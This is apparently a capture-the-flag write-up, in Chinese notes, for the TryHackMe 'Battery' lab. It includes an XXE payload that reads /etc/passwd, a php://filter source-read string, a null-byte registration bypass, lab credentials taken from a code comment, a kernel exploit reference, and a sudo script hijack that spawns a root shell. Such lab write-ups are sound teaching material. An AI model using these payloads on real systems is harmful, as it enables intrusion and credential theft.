URL : https://tryhackme.com/room/battery
IP : 10.10.207.162
Recon
- 掃 Port
rustscan -a 10.10.207.162 -r 1-65535
- 發現有開
- 22
- 80
- 發現有開
nmap -A -p22,80 10.10.207.162
Web
- 觀察首頁
- 掃路徑
/forms
/admin.php
- 發現
/forms
把 Header 拔掉就不會自動跳轉- 裡面傳送的資料是 XML ,可能可以 XXE
- 但沒有登入都失敗
- 裡面傳送的資料是 XML ,可能可以 XXE
function XMLFunction(){
var xml = '' +
'<?xml version="1.0" encoding="UTF-8"?>' +
'<root>' +
'<name>' + $('#name').val() + '</name>' +
'<search>' + $('#search').val() + '</search>' +
'</root>';
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
console.log(xmlhttp.readyState);
console.log(xmlhttp.responseText);
document.getElementById('errorMessage').innerHTML = xmlhttp.responseText;
}
}
xmlhttp.open("POST","forms.php",true);
xmlhttp.send(xml);
};
- 在
register.php
註冊一組帳密meow
ABC
meow
- 註冊成功
- 嘗試登入
- 使用介面上的功能
- 發現不能使用
- 使用介面上的功能
- 再註冊一組
meow1
DEF
meow1
- 掃目錄
- 發現一個
/report
- 發現一個
- 載下來發現是一個 ELF
Reverse
- 選單
- 使用者
- 字串比較
- 更新
- 這邊看到
admin@bank.a
滿可疑的
- 這邊看到
Web
- 嘗試註冊
admin@bank.a
- 被嘲諷ㄌQQ
- 但這代表應該確實跟這個有關!!
- 用 Burp 後面加上
%00
截斷 - 註冊成功
- 後台亂輸入都會噴錯
- 重新試著 XXE
function XMLFunction(){
var xml = '' +
'<?xml version="1.0" encoding="UTF-8"?>\n' +
'<!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd"> ]>\n' +
'<root>' +
'<name>' + "0" + '</name>' +
'<search>' + "&b;" + '</search>' +
'</root>';
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
console.log(xmlhttp.readyState);
console.log(xmlhttp.responseText);
}
}
xmlhttp.open("POST","forms.php",true);
xmlhttp.send(xml);
};
XMLFunction();
- 可以讀檔
cyber:x:1000:1000:cyber,,,:/home/cyber:/bin/bash
mysql:x:107:113:MySQL Server,,,:/nonexistent:/bin/false
yash:x:1002:1002:,,,:/home/yash:/bin/bash
- 看起來有興趣的使用者
cyber
yash
- 讀取原始碼
php://filter/convert.base64-encode/resource=/var/www/html/acc.php
- 找到註解上的密碼
//MY CREDS :- cyber:super#secure&password!
SSH
- 順利連上
- 取得 Base Flag
提權
- 起手式
sudo -l
- 發現可以用 root 執行一個
run.py
- 發現可以用 root 執行一個
run.py
- 但我們沒有權限讀取他 QQ
- 觀察原始碼
admin.php
- 找到 mysql 的帳密
- Dump Mysql
- mysqldump -u root -h 127.0.0.1 -p details > a.sql
- 看到一組密碼
I_know_my_password
- 但好像就沒有什麼進展了 QQ
- 跑 Linpeas
- 發現 Linux Kernel 好像有點舊,可以用 Exploit
- https://www.exploit-db.com/exploits/37292
- 試著載下來編譯執行
- 就成功 Root ㄌ
- Flag2
- Root Flag
另外一種提權法
- 剛剛可以用 sudo 執行
run.py
- 但是沒有權限可以讀取
- 但因為這是我的家目錄,所以我可以改檔名、新增檔案
- 所以自己創一個
run.py
import os
os.system("/bin/bash")
- 再 sudo 它
- 也可以順利提權
學到ㄌ
%00 截斷
XXE 記得加 ;